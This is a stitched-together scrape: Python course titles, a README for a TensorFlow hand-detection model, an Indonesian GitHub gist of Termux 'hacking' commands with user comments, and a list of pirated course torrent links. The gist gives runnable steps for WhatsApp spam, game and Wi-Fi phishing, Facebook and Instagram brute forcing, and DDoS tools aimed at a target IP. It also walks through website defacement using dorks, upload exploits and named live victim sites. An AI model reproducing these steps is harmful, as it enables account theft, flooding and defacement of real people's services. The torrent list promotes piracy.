Python - 100天从新手到大师

The 30 Days of Python programming challenge is a step-by-step guide to learn the Python programming language in 30 days. This challenge may take more than 100 days. Follow your own pace. These videos may help too: https://www.youtube.com/channel/UC7PNRuno1rzYPb1xLa4yktw

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100 Days of Code - The Complete Python Pro Bootcamp

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100 Days of Code: The Complete Python Pro Bootcamp

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🐍 The Complete Python Pro Bootcamp for 2021

Изучи питон / python за 100 дней

using Neural Networks (SSD) on Tensorflow. This repo documents steps and scripts used to train a hand detector using Tensorflow (Object Detection API). As with any DNN based task, the most expensive (and riskiest) part of the process has to do with finding or creating the right (annotated) dataset. I was interested mainly in detecting hands on a table (egocentric view point). I experimented first with the [Oxford Hands Dataset](http://www.robots.ox.ac.uk/~vgg/data/hands/) (the results were not good). I then tried the [Egohands Dataset](http://vision.soic.indiana.edu/projects/egohands/) which was a much better fit to my requirements. The goal of this repo/post is to demonstrate how neural networks can be applied to the (hard) problem of tracking hands (egocentric and other views). Better still, provide code that can be adapted to other uses cases. If you use this tutorial or models in your research or project, please cite [this](#citing-this-tutorial). Here is the detector in action. <img src="images/hand1.gif" width="33.3%"><img src="images/hand2.gif" width="33.3%"><img src="images/hand3.gif" width="33.3%"> Realtime detection on video stream from a webcam . <img src="images/chess1.gif" width="33.3%"><img src="images/chess2.gif" width="33.3%"><img src="images/chess3.gif" width="33.3%"> Detection on a Youtube video. Both examples above were run on a macbook pro **CPU** (i7, 2.5GHz, 16GB). Some fps numbers are: | FPS | Image Size | Device| Comments| | ------------- | ------------- | ------------- | ------------- | | 21 | 320 * 240 | Macbook pro (i7, 2.5GHz, 16GB) | Run without visualizing results| | 16 | 320 * 240 | Macbook pro (i7, 2.5GHz, 16GB) | Run while visualizing results (image above) | | 11 | 640 * 480 | Macbook pro (i7, 2.5GHz, 16GB) | Run while visualizing results (image above) | > Note: The code in this repo is written and tested with Tensorflow `1.4.0-rc0`. Using a different version may result in [some errors](https://github.com/tensorflow/models/issues/1581). You may need to [generate your own frozen model](https://pythonprogramming.net/testing-custom-object-detector-tensorflow-object-detection-api-tutorial/?completed=/training-custom-objects-tensorflow-object-detection-api-tutorial/) graph using the [model checkpoints](model-checkpoint) in the repo to fit your TF version. **Content of this document** - Motivation - Why Track/Detect hands with Neural Networks - Data preparation and network training in Tensorflow (Dataset, Import, Training) - Training the hand detection Model - Using the Detector to Detect/Track hands - Thoughts on Optimizations. > P.S if you are using or have used the models provided here, feel free to reach out on twitter ([@vykthur](https://twitter.com/vykthur)) and share your work! ## Motivation - Why Track/Detect hands with Neural Networks? There are several existing approaches to tracking hands in the computer vision domain. Incidentally, many of these approaches are rule based (e.g extracting background based on texture and boundary features, distinguishing between hands and background using color histograms and HOG classifiers,) making them not very robust. For example, these algorithms might get confused if the background is unusual or in situations where sharp changes in lighting conditions cause sharp changes in skin color or the tracked object becomes occluded.(see [here for a review](https://www.cse.unr.edu/~bebis/handposerev.pdf) paper on hand pose estimation from the HCI perspective) With sufficiently large datasets, neural networks provide opportunity to train models that perform well and address challenges of existing object tracking/detection algorithms - varied/poor lighting, noisy environments, diverse viewpoints and even occlusion. The main drawbacks to usage for real-time tracking/detection is that they can be complex, are relatively slow compared to tracking-only algorithms and it can be quite expensive to assemble a good dataset. But things are changing with advances in fast neural networks. Furthermore, this entire area of work has been made more approachable by deep learning frameworks (such as the tensorflow object detection api) that simplify the process of training a model for custom object detection. More importantly, the advent of fast neural network models like ssd, faster r-cnn, rfcn (see [here](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/detection_model_zoo.md#coco-trained-models-coco-models) ) etc make neural networks an attractive candidate for real-time detection (and tracking) applications. Hopefully, this repo demonstrates this. > If you are not interested in the process of training the detector, you can skip straight to applying the [pretrained model I provide in detecting hands](#detecting-hands). Training a model is a multi-stage process (assembling dataset, cleaning, splitting into training/test partitions and generating an inference graph). While I lightly touch on the details of these parts, there are a few other tutorials cover training a custom object detector using the tensorflow object detection api in more detail[ see [here](https://pythonprogramming.net/training-custom-objects-tensorflow-object-detection-api-tutorial/) and [here](https://towardsdatascience.com/how-to-train-your-own-object-detector-with-tensorflows-object-detector-api-bec72ecfe1d9) ]. I recommend you walk through those if interested in training a custom object detector from scratch. ## Data preparation and network training in Tensorflow (Dataset, Import, Training) **The Egohands Dataset** The hand detector model is built using data from the [Egohands Dataset](http://vision.soic.indiana.edu/projects/egohands/) dataset. This dataset works well for several reasons. It contains high quality, pixel level annotations (>15000 ground truth labels) where hands are located across 4800 images. All images are captured from an egocentric view (Google glass) across 48 different environments (indoor, outdoor) and activities (playing cards, chess, jenga, solving puzzles etc). <img src="images/egohandstrain.jpg" width="100%"> If you will be using the Egohands dataset, you can cite them as follows: > Bambach, Sven, et al. "Lending a hand: Detecting hands and recognizing activities in complex egocentric interactions." Proceedings of the IEEE International Conference on Computer Vision. 2015. The Egohands dataset (zip file with labelled data) contains 48 folders of locations where video data was collected (100 images per folder). ``` -- LOCATION_X -- frame_1.jpg -- frame_2.jpg ... -- frame_100.jpg -- polygons.mat // contains annotations for all 100 images in current folder -- LOCATION_Y -- frame_1.jpg -- frame_2.jpg ... -- frame_100.jpg -- polygons.mat // contains annotations for all 100 images in current folder ``` **Converting data to Tensorflow Format** Some initial work needs to be done to the Egohands dataset to transform it into the format (`tfrecord`) which Tensorflow needs to train a model. This repo contains `egohands_dataset_clean.py` a script that will help you generate these csv files. - Downloads the egohands datasets - Renames all files to include their directory names to ensure each filename is unique - Splits the dataset into train (80%), test (10%) and eval (10%) folders. - Reads in `polygons.mat` for each folder, generates bounding boxes and visualizes them to ensure correctness (see image above). - Once the script is done running, you should have an images folder containing three folders - train, test and eval. Each of these folders should also contain a csv label document each - `train_labels.csv`, `test_labels.csv` that can be used to generate `tfrecords` Note: While the egohands dataset provides four separate labels for hands (own left, own right, other left, and other right), for my purpose, I am only interested in the general `hand` class and label all training data as `hand`. You can modify the data prep script to generate `tfrecords` that support 4 labels. Next: convert your dataset + csv files to tfrecords. A helpful guide on this can be found [here](https://pythonprogramming.net/creating-tfrecord-files-tensorflow-object-detection-api-tutorial/).For each folder, you should be able to generate `train.record`, `test.record` required in the training process. ## Training the hand detection Model Now that the dataset has been assembled (and your tfrecords), the next task is to train a model based on this. With neural networks, it is possible to use a process called [transfer learning](https://www.tensorflow.org/tutorials/image_retraining) to shorten the amount of time needed to train the entire model. This means we can take an existing model (that has been trained well on a related domain (here image classification) and retrain its final layer(s) to detect hands for us. Sweet!. Given that neural networks sometimes have thousands or millions of parameters that can take weeks or months to train, transfer learning helps shorten training time to possibly hours. Tensorflow does offer a few models (in the tensorflow [model zoo](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/detection_model_zoo.md#coco-trained-models-coco-models)) and I chose to use the `ssd_mobilenet_v1_coco` model as my start point given it is currently (one of) the fastest models (read the SSD research [paper here](https://arxiv.org/pdf/1512.02325.pdf)). The training process can be done locally on your CPU machine which may take a while or better on a (cloud) GPU machine (which is what I did). For reference, training on my macbook pro (tensorflow compiled from source to take advantage of the mac's cpu architecture) the maximum speed I got was 5 seconds per step as opposed to the ~0.5 seconds per step I got with a GPU. For reference it would take about 12 days to run 200k steps on my mac (i7, 2.5GHz, 16GB) compared to ~5hrs on a GPU. > **Training on your own images**: Please use the [guide provided by Harrison from pythonprogramming](https://pythonprogramming.net/training-custom-objects-tensorflow-object-detection-api-tutorial/) on how to generate tfrecords given your label csv files and your images. The guide also covers how to start the training process if training locally. [see [here] (https://pythonprogramming.net/training-custom-objects-tensorflow-object-detection-api-tutorial/)]. If training in the cloud using a service like GCP, see the [guide here](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/running_on_cloud.md). As the training process progresses, the expectation is that total loss (errors) gets reduced to its possible minimum (about a value of 1 or thereabout). By observing the tensorboard graphs for total loss(see image below), it should be possible to get an idea of when the training process is complete (total loss does not decrease with further iterations/steps). I ran my training job for 200k steps (took about 5 hours) and stopped at a total Loss (errors) value of 2.575.(In retrospect, I could have stopped the training at about 50k steps and gotten a similar total loss value). With tensorflow, you can also run an evaluation concurrently that assesses your model to see how well it performs on the test data. A commonly used metric for performance is mean average precision (mAP) which is single number used to summarize the area under the precision-recall curve. mAP is a measure of how well the model generates a bounding box that has at least a 50% overlap with the ground truth bounding box in our test dataset. For the hand detector trained here, the mAP value was **0.9686@0.5IOU**. mAP values range from 0-1, the higher the better. <img src="images/accuracy.jpg" width="100%"> Once training is completed, the trained inference graph (`frozen_inference_graph.pb`) is then exported (see the earlier referenced guides for how to do this) and saved in the `hand_inference_graph` folder. Now its time to do some interesting detection. ## Using the Detector to Detect/Track hands If you have not done this yet, please following the guide on installing [Tensorflow and the Tensorflow object detection api](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/installation.md). This will walk you through setting up the tensorflow framework, cloning the tensorflow github repo and a guide on - Load the `frozen_inference_graph.pb` trained on the hands dataset as well as the corresponding label map. In this repo, this is done in the `utils/detector_utils.py` script by the `load_inference_graph` method. ```python detection_graph = tf.Graph() with detection_graph.as_default(): od_graph_def = tf.GraphDef() with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tf.import_graph_def(od_graph_def, name='') sess = tf.Session(graph=detection_graph) print("> ====== Hand Inference graph loaded.") ``` - Detect hands. In this repo, this is done in the `utils/detector_utils.py` script by the `detect_objects` method. ```python (boxes, scores, classes, num) = sess.run( [detection_boxes, detection_scores, detection_classes, num_detections], feed_dict={image_tensor: image_np_expanded}) ``` - Visualize detected bounding detection_boxes. In this repo, this is done in the `utils/detector_utils.py` script by the `draw_box_on_image` method. This repo contains two scripts that tie all these steps together. - detect_multi_threaded.py : A threaded implementation for reading camera video input detection and detecting. Takes a set of command line flags to set parameters such as `--display` (visualize detections), image parameters `--width` and `--height`, videe `--source` (0 for camera) etc. - detect_single_threaded.py : Same as above, but single threaded. This script works for video files by setting the video source parameter videe `--source` (path to a video file). ```cmd # load and run detection on video at path "videos/chess.mov" python detect_single_threaded.py --source videos/chess.mov ``` > Update: If you do have errors loading the frozen inference graph in this repo, feel free to generate a new graph that fits your TF version from the model-checkpoint in this repo. Use the [export_inference_graph.py](https://github.com/tensorflow/models/blob/master/research/object_detection/export_inference_graph.py) script provided in the tensorflow object detection api repo. More guidance on this [here](https://pythonprogramming.net/testing-custom-object-detector-tensorflow-object-detection-api-tutorial/?completed=/training-custom-objects-tensorflow-object-detection-api-tutorial/). ## Thoughts on Optimization. A few things that led to noticeable performance increases. - Threading: Turns out that reading images from a webcam is a heavy I/O event and if run on the main application thread can slow down the program. I implemented some good ideas from [Adrian Rosebuck](https://www.pyimagesearch.com/2017/02/06/faster-video-file-fps-with-cv2-videocapture-and-opencv/) on parrallelizing image capture across multiple worker threads. This mostly led to an FPS increase of about 5 points. - For those new to Opencv, images from the `cv2.read()` method return images in [BGR format](https://www.learnopencv.com/why-does-opencv-use-bgr-color-format/). Ensure you convert to RGB before detection (accuracy will be much reduced if you dont). ```python cv2.cvtColor(image_np, cv2.COLOR_BGR2RGB) ``` - Keeping your input image small will increase fps without any significant accuracy drop.(I used about 320 x 240 compared to the 1280 x 720 which my webcam provides). - Model Quantization. Moving from the current 32 bit to 8 bit can achieve up to 4x reduction in memory required to load and store models. One way to further speed up this model is to explore the use of [8-bit fixed point quantization](https://heartbeat.fritz.ai/8-bit-quantization-and-tensorflow-lite-speeding-up-mobile-inference-with-low-precision-a882dfcafbbd). Performance can also be increased by a clever combination of tracking algorithms with the already decent detection and this is something I am still experimenting with. Have ideas for optimizing better, please share! <img src="images/general.jpg" width="100%"> Note: The detector does reflect some limitations associated with the training set. This includes non-egocentric viewpoints, very noisy backgrounds (e.g in a sea of hands) and sometimes skin tone. There is opportunity to improve these with additional data. ## Integrating Multiple DNNs. One way to make things more interesting is to integrate our new knowledge of where "hands" are with other detectors trained to recognize other objects. Unfortunately, while our hand detector can in fact detect hands, it cannot detect other objects (a factor or how it is trained). To create a detector that classifies multiple different objects would mean a long involved process of assembling datasets for each class and a lengthy training process. > Given the above, a potential strategy is to explore structures that allow us **efficiently** interleave output form multiple pretrained models for various object classes and have them detect multiple objects on a single image. An example of this is with my primary use case where I am interested in understanding the position of objects on a table with respect to hands on same table. I am currently doing some work on a threaded application that loads multiple detectors and outputs bounding boxes on a single image. More on this soon.

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Skip to content arysandi/kumpulan kode di termux Created 3 years ago • Report abuse Code Revisions 1 Stars 105 Forks 8 kumpulan kode di termux KUMPULAN CODE TERMUX LENGKAP | SPAM CHAT WHATSAPP || nggk usah nyepam gw -_* atau hp lu gw ledakin!!#@vms $ pkg update && pkg upgrade Setelah mengupdate dan mengupgrade termux ketikan perintah berikut : $ pkg install python2 (y/n pilih y) $ pkg install php (y/n pilih y) $ pkg install git (y/n pilih y) Setalah mengikuti perintah di atas waktu-nya kita clonning tool-nya : $ git clone https://github.com/siputra12/prank.git Setelah proses cloning selesai kita move on dari perintah di atas dan ketikan perintah ini : $ cd prank $ ls $ php wa.php Kemudian masukan Nomor WhatsApp yang kalian ingin spam contoh : 085710917169 kemudian enter pada pilihan y/n pilih y .. .welcome back to me catatan:).... #@vms " jngan lupa subcribe pak *VEMAS DARK* -_-... (:" "phising game" (mobile legends dan clash of clan) $apt update $apt upgrade -y $pkg install python2 -y $pkg install apache2 $pkg install php -y $pkg install git $git clone https://github.com/Senitopeng/PhisingGame $ls $cd PhisingGame $python2 phising.py *Gunain dengan bijak cuk -_-* Cara Install OSIF ( Open Source Information Facebook ) $ pkg install python2 $ git clone https://github.com/ciku370/OSIF $ cd OSIF $ pip2 install -r requirements.txt Dan cara menjalankannya menggunakan perintah : python2 osif.py by: *Vdk* *~CARA SADAP WA~* *_SeNaNg-SeNaNg H4CK1NG MR.STAH_* $pkg update && pkg upgrade $pkg install git $pkg install curl $git clone https://github.com/AndriGanz/whatshack $cd whatshack $ls $sh whatshack.sh *~Jangan salah gunakan~* Tutorial termux Silahkan perdalami... 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Jdi tinggl make aja [8/10 19.49] Yovis Si Wibub: --------------------------TOTUR MBF-----------------------$ pkg update && pkg upgrade $ pkg install python2 $ pip2 install mechanize ‌$ git clone https://github.com/pirmansx/mbf Cara Menjalankannya : $ ls $ cd mbf $ python2 MBF.py [9/10 17.25] ‌*~I⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟: Memper Cantik/Melihat V.Android Termux $ pkg update && pkg upgrade $ pkg install ruby cowsay toilet figlet $ pkg install neofetch $ pkg install nano $ gem install lolcat $ cd ../usr/etc $ nano bash.bashrc cowsay -f eyes Cyber | lolcat toilet -f standard Indonesia -F gay neofetch date | lolcat ✓ Hack FB rombongan $ apt update && apt upgrade $ pkg install python2 git $ pip2 install mechanize $ git clone http://github.com/pirmansx/mbf $ ls $ cd mbf $ python2 MBF.py ✓ Hack FB ngincer $ Apt update ( Enter ) $ Apt upgrade ( Enter ) $ Apt install python2 ( Enter ) $ pip2 install urllib3 chardet certifi idna requests ( Enter ) $ apt install openssl curl ( Enter ) $ pkg install libcurl ( Enter ) $ ln /sdcard ( Enter ) $ cd /sdcard ( Enter ) $ python2 fbbrute.py ( Enter ) ✓ Hack Gmail apt-get update && apt-get upgrade $ apt-get install git $ apt-get install python python-pip python-setuptools $ pip install scapy $ git clone https://github.com/wifiphisher/wifiphisher.git $ cd wifiphisher< $ python setup.py install $ cd wifiphisher $ python wifiphisher Nih yang mau hack WiFi Khusus root $apt update $apt upgrade $apt install git $git clone https://github.com/esc0rtd3w/wifi-hacker $ls $cd ‌Ni KUMPULAN TUTOR TERMUX [X SCREW UP X] *HACK INSTAGRAM* ( sosial engineering) $ apt update && apt upgrade $ pkg install python $ pkg install git $ pkg install nano $ git clone https://github.com/avramit/instahack.git $ ls $ cd instahack $ ls $ pip install requests $ cd instahack $ nano pass.txt $ cat pass.txt $ ls $ python hackinsta.py Localizar ip Apt install python git git clone https://github.com/maldevel/IPGeoLocation.git cd IPGeoLocation chmod +x ipgeoLocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t http://www.google.com Lacak IP git clone https://github.com/maldevel/IPGeolocation cd IPGeolocation chmod +x ipgeolocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t IP yang ingin dilacak TOOL DDOS VIA TERMUX 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py RED_HAWK tool $ apt update $ apt install git $ git clone https://github.com/Tuhinshubhra/RED_HAWK $ cd RED_HAWK $ chmod +x rhawk.php $ apt install php $ ls $ php rhawk.php ‌```Install webdav ``` $ apt update && upgrade $ apt install python2 $ pip2 install urllib3 chardet certifi idna requests $ apt install openssl curl $ pkg install libcurl $ ln -s /sdcard $ cd sdcard $ mkdir webdav $ cd webdav ‌Tutorial Install *Tools-B4J1N64Nv5* pkg install update pkg install git pkg install toilet pkg install figlet pip2 install lolcat git clone https://github.com/DarknessCyberTeam/B4J1N64Nv5 cd B4J1N64Nv5 sh B4J1N64N.sh ‌cara install termux ubuntu - apt update/pkg update - apt upgrade/pkg upgrade - pkg install git - pkg install proot - pkg install wget - git clone https://github.com/Neo-Oli/termux-ubuntu - cd termux-ubuntu - chmod +x ubuntu.sh - pip install -r requirements.txt - ./ubuntu.sh Untuk menjalankan - ./start.sh Cara install github tembak XL Dari awal 1.pkg upgrade 2.pkg update 3.pkg install git 4.pkg install python 5.git clone https://github.com/albertoanggi/xl-py 6.pip install -r requirements.txt 7.chmod +x app.py 8.python/python2 app.py *Install admin finder in termux* $ apt update && apt upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/AdheBolo/AdminFinder *Menjalankan* $ ls $ cd AdminFinder $ chmod 777 AdminFinder.py $ python2 AdminFinder.py *Cara install tool Mr.Rv1.1* $apt update && apt upgrade $pkg install git $pkg install gem $pkg install figlet $gem install lolcat $git clone https://github.com/Mr-R225/Mr.Rv1.1 $cd Mr.Rv1.1 $sh Mr.Rv1.1.sh tool install $ apt update && apt upgrade $ apt install git $ git clone https://github.com/aryanrtm/4wsectools cd 4wsectools chmod 777 tools ./tools TOOL FSOCIETY $ git clone https://github.com/manisso/fsociety $ cd fsociety $ ./install.sh $ ls $ python2 fsociety.py SQLMAP apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap https://github.com/sqlmapproject/sqlmap.git cd sqlmap Python2 sqlmap.py Exemplo Python2 sqlmap.py -u website –dbs -D acuart –tables -D acuart -T users –columns -D acuart -T users -C name,email,phone -dump BUSCA PAINEL ADM DE SITE pkg install git git clone https://github.com/Techzindia/admin_penal cd admin_penal chmod +x admin_panel_finder.py python2 admin_panel_finder.py HAKKU apt install pytho apt install git mkdir vasu git clone https://github.com/4shadoww/hakkuframework cd hakkuframework chmod +x hakku python hakku show modules use whois show options set target examplesite.com run TOOL D-TECT apt update apt install git git clone https://github.com/shawarkhanethicalhacker/D-TECT cd D-TECT apt install python2 chmod +x d-tect.py python2 d-tect.py examplesite.com viSQL apt update apt install python2 apt install git git clone https://github.com/blackvkng/viSQL cd viSQL python2 -m pip install -r requirements.txt python2 viSQL.py python2 viSQL.py -t http://www.bible-history.com Hash Buster apt update apt upgrade apt install python2 apt install git git clone https://github.com/UltimateHackers/Hash-Buster cd Hash-Buster python2 hash.py tool ubuntu $ apt update $ apt install git $ apt install wget $ apt install proot $ git clone https://github.com/Neo-Oli/termux-ubu&#8230; $ cd termux-ubuntu $ chmod +x ubuntu.sh $ ./ubuntu.sh $ ./start.sh (````Install``` *Hunner framework*) $ apt update $ apt install python $ apt install git -y $ git clone https://github.com/b3-v3r/Hunner $ cd Hunner $ chmod 777 hunner.py $ python hunner.py *Cara Install Lazymux di Termux* $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/Gameye98/Lazymux $ cd Lazymux $ chmod +x lazymux.py $ python2 lazymux.py Cara install tools daijobu* Fungsinya nanti liat sendiri lah di dalem tools nya $apt upgrade && apt update $apt install php $apt install git Kalo udah selesai langsung masukan git nya dengan perintah $git clone https://github.com/alintamvanz/diejoubu $cd diejoubu $cd v1.2 $php diejoubu.php Hecker RECONDOG apt update apt install python python2 apt install git git clone https://github.com/UltimateHackers/ReconDog cd ReconDog chmod +x dog.py Python2 dog.py DEFACE Hacking Script-Deface $apt update $apt upgrade $apt install git $apt install python2 $git clone https://github.com/Ubaii/script-deface-creator $ls $cd script-deface-creator $ls $chmod +x create.py $ls $python2 create.py done semoga bisa bikin script Html CARA DEFACE Cara1 Siapkan script sendiri.. 1.buka browser kalian apa saja terserah lalu ke google 2.tulis dork nya berikut ini (inurl:"sitefinity/login.aspx) tanpa tanda buka kurung dan tutup kurung! lalu search 3.pilih lah salah satu website terserah kalian,klik website nya lalu tambahkan exploit nya sebagai berikut (sitefinity/usercontrols/dialog/documenteditordialog.aspx) tanpa buka tutup kurung! E http://sitetarget*org/sitefinity/usercontrols/dialogs/documenteditordialog.aspx 4.lalu klik search kembali! nah disitu kalian klik chose file dan pilih script deface punya kalian 5.klik yang di bawah nya tunggu sampai loading selesai 6.tambah link target tadi dengan (/files) contoh http://sitetarget*org/files/namascriptdefacekalian.html lalu klik search 7.selesai!! Cara2 Method/metode KCFinder Inurl:/kcfinder/browse.php Inurl:/Kcfinder/ Langsung saja upload file deface anda,lalu panggil dengan tambahan /file/namasckamu.html Contoh: https://basukiwater.com/kcfinder/browse.php jadi https://basukiwater.com/file/namasckamu.html cara3 Deface Onion.to File Upload Tutor ini sekarang lagi Ngtreend & Simple , tapi ingat ya bukan Deepweb melaikan Fake Deepweb hehehe... Mari kita Lanjut... Dork : - inurl:/upload site:.onion.to - intext:"Upload" site:.onion.to Live : https://tt3j2x4k5ycaa5zt.onion.to/upload.php Step By Step : 1. Dorking Dulu 2. Pilih Web Target 3. Pilih File yang mau di'upload 4. Tinggal klik Upload => Done 😆 Contoh Target : https://tt3j2x4k5ycaa5zt.onion.to/uploads/lopeyou.html https://danwin1210.me/uploads/lopeyou.html https://temp.xn--wda.fr/e719x8JgJ.html Mirror?! 😆 https://www.defacer.id/296011.html https://www.defacer.id/296024.html cara4 Metode com media Bahan : 1. Dork : - inurl:com_media site:com - inurl:com_media intext:"Upload" 2. Exploit : /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 3. Upload'an : Format .txt 😁 Live Target : http://www.james-insurance.co.uk/ Step by Step : gunakan Live Targert dulu untuk Uji Coba 😁 1. Masukkan dork : inurl:com_media intext:"Upload" site:co.uk 2. Pilih salah satu Web 3. Masukkan Exploit http://www.james-insurance.co.uk/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 4. Lalu Upload file dalam tempat upload ( format .txt ) Akses shell ? Tambahkan : /images/namafile.txt contoh : http://www.james-insurance.co.uk/images/fac.txt Nanti Jadi Gini Hasilnyaa.. Mudah Bukan?! Tinggal Upload ke Defacer.id 😁 cara5 [POC] Vulnerability Simplicity Of Upload #Step 1: Dork: “Powered By: © Simplicity oF Upload” #Step 2: Exploit: http://[situstargetkamu]/PATH/upload.php *Tergantung dengan target. #Step 3: llowed file: gif, jpg, png, txt, php, asp, cgi, zip, exe, mp3, etc (not allowed for html) #Step 4: Preview: http://[situstargetkamu]/upload/[Your File] #Step 5: Live Demo: http://www.railfaneurope.net/pix/upload.php http://www.formplas.com/upload/upload.php Nah, saya kira cukup segitu aja kok, karena mudah tuh tutorial nya. Al in one crip termux $ apt update && apt upgrade $ pkg install php figlet ruby python python2 $ pip2 install lolcat $ git clone https://github.com/Rusmana-ID/rus $ cd $ cd rus $ ls $ sh v2.sh Kontak wa 083879017166 Note: user name:Rusmana Pasword:X-One Load earlier comments... husniawati commented on 3 Dec 2020 Gak bisa bang apa harus membuat file dulu atau gmn semua udah aku ikutin tapi gak bisa bisa Ruok2588 commented on 9 Dec 2020 Taiklah sya01019 commented on 12 Dec 2020 Percuma, , Ini siapa punya blog kayak babi sya01019 commented on 12 Dec 2020 Tampilan aja beda Rasa garam marco97-web commented on 22 Dec 2020 Password.a ga bisa bang Ilham619 commented on 12 Jan 2021 Bang kasih tau cara ambil akun free fire Reyhan720z commented on 13 Feb 2021 Bg sc fb nya gk work azuhry commented on 5 Mar 2021 gak ada yang work 😎 gue bisa Ilham619 commented on 5 Mar 2021 Kode termux untuk hack FB APA Pada tanggal Jum, 5 Mar 2021 01.47, azuhry <notifications@github.com> menulis: … ***@***.**** commented on this gist. ------------------------------ gak ada yang work 😎 gue bisa — You are receiving this because you commented. Reply to this email directly, view it on GitHub <https://gist.github.com/8d49c6cc91e3ecfcdc8c91d8abdd7450#gistcomment-3653833>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/ASNZOIQMA54PE3PD5QJV5LLTB7BRLANCNFSM4NBI2DHA> . MR-Bm13 commented on 15 Mar 2021 BULLSHIT LOP 28februari2005 commented on 11 May 2021 Work 100% hmm 🤔🤔🤔 28februari2005 commented on 11 May 2021 Bener work Ya dicoba 🤐🤐🤐 28februari2005 commented on 11 May 2021 Coba aja dulu baru komen jalilcy commented on 25 May 2021 Bang bisa minta tolong. Ajarkan buat hack fb. Sy ingin mengambil fb sya kena hack kazharalyu commented on 6 Jun 2021 Ada yang bisa ada yang gak bisa jalilcy commented on 6 Jun 2021 Saya ingin mengambil kembali akun facebook aku bang di hack orang Pada tanggal Min, 6 Jun 2021 18:55, kazharalyu ***@***.***> menulis: … ***@***.**** commented on this gist. ------------------------------ Ada yang bisa ada yang gak bisa — You are receiving this because you commented. Reply to this email directly, view it on GitHub <https://gist.github.com/8d49c6cc91e3ecfcdc8c91d8abdd7450#gistcomment-3770432>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AUGJUNGESYA6BKWK3RCP7V3TRNH35ANCNFSM4NBI2DHA> . wanted21 commented on 15 Jun 2021 Scrip whatsheck udh ngga bisa ya gan Cloning224 commented on 18 Jun 2021 Ada yg bisa hack akun highs Domino disini, tolong bantu saya. Saya barusan jadi korban Screenshot_2021-06-18-17-52-31-124_com higgs domino mrsimple15 commented on 24 Jun 2021 bang buatin script untuk hack cip domino tanpa pishing akun orang Muhdaghol12 commented on 1 Jul 2021 `` YudhaSaputra11 commented on 27 Jul 2021 bang yang hack wa habis ituu diapain? ardyan212 commented on 7 Nov 2021 Keren bang tools termuxnya https://www.jopamungkas.com aceptt commented on 7 Nov 2021 Mantap sehat selalu bang,top banget boyaniyan commented on 21 Nov 2021 Mantap D4K0TCH4N commented on 11 Feb Gajelas AhmadTaslimfebriyan00 commented on 28 Mar Bang cara pertama kok sering gagal bang Spilis1 commented on 18 May Ada yg bisa by pass Gmail dan ymail BLACKSTARzero commented on 31 May buat yg baru gabung di termux Ini scrft lama gk usah di ikuti MATUN091 commented on 8 Jun Iya cok ini scift lama gak usah di ikutin abssbsjhsjaj commented 18 days ago wkkwwk sc kintil kurang update Leave a comment Footer © 2022 GitHub, Inc. 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python100天从新手到大师

来源于 Python - 100天从新手到大师

Python 1000天学习计划，从零到进阶、精通

🐍 The Complete Python Pro Bootcamp for 2023 || This repository contains code and projects completed during the "100 Days of Python" bootcamp by Angela Yu. This bootcamp is an intensive programming course that covers a wide range of topics in Python programming.

Skip to content Search… All gists Back to GitHub Sign in Sign up Instantly share code, notes, and snippets. @giansalex giansalex/torrent-courses-download-list.md forked from M-Younus/torrent courses download-list Last active 2 days ago 15188 Code Revisions 15 Stars 151 Forks 88 <script src="https://gist.github.com/giansalex/4cd3631e94433bbbd71bf07aedb33a7b.js"></script> torrent-courses-download-list.md Torrent Courses List Download http://kickass.to/infiniteskills-learning-jquery-mobile-working-files-t7967156.html http://kickass.to/lynda-bootstrap-3-advanced-web-development-2013-eng-t8167587.html http://kickass.to/lynda-css-advanced-typographic-techniques-t7928210.html http://kickass.to/lynda-html5-projects-interactive-charts-2013-eng-t8167670.html http://kickass.to/vtc-html5-css3-responsive-web-design-course-t7922533.html http://kickass.to/10gen-m101js-mongodb-for-node-js-developers-2013-eng-t8165205.html http://kickass.to/cbt-nuggets-amazon-web-services-aws-foundations-t7839734.html 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http://www.seedpeer.me/details/4848277/TutsPlus---Build-Web-Apps-in-Node-and-Express.html http://www.seedpeer.me/details/5683153/Tutsplus---Catch-Up-with-Ruby-on-Rails-4.html http://www.seedpeer.me/details/4918947/TutsPlus---CodeIgniter-Essentials.html http://www.seedpeer.me/details/5069781/TutsPlus---Connected-to-the-Backbone.html http://www.seedpeer.me/details/5513056/Tutsplus---Designing-Professional-Resumes.html http://www.seedpeer.me/details/5706815/Tutsplus-Easier-JavaScript-Apps-with-AngularJS.html http://www.seedpeer.me/details/6462415/TutsPlus---Easier-JavaScript-with-TypeScript.html http://www.seedpeer.me/details/5868293/TutsPlus---Getting-Started-With-Windows-8-Development-Using-HTML,-CSS-&amp;-JavaScript-V413HAV.html http://www.seedpeer.me/details/6150521/TutsPlus-HTML5-Video-Essentials-PRODEV.html http://www.seedpeer.me/details/4841911/TutsPlus---JavaScript-Testing-With-Jasmine.html 